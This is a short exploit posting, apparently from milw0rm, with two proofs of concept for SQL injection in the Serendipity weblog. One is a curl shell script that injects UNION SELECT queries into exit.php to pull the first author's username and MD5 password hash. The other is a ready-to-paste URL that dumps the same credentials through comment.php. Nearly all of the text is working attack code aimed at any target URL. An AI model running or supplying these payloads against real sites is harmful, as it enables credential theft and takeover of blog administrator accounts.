Proof of Concept 1
------------------
Usage: ./ser_sqli_poc.sh URL_to_Serendipity_Weblog
ser_sqli_poc.sh
---------8<-----------8<-------------
#!/bin/sh
echo -n "Username: "
curl -I -s "$1/exit.php?url_id=1&entry_id=1%20and%200%20union%20select%20username%20from%20serendipity_authors%20where%20authorid%3D1"
| grep Location | cut -b10-
echo -n "MD5(password): "
curl -I -s "$1/exit.php?url_id=1&entry_id=1%20and%200%20union%20select%20password%20from%20serendipity_authors%20where%20authorid%3D1"
| grep Location | cut -b10-
---------8<-----------8<-------------
Proof of Concept 2
------------------
Copy&Paste this to your browser and edit URL_to_Serendipity_Weblog.
http://URL_to_Serendipity_Weblog/comment.php?serendipity[type]=trackbacks&serendipity[entry_id]=0%20and%200%20union%20select%201,2,3,4,username,password,7,8,9,0,1,2,3%20from%20serendipity_authors%20where%20authorid=1%20/*
# milw0rm.com [2004-09-28]
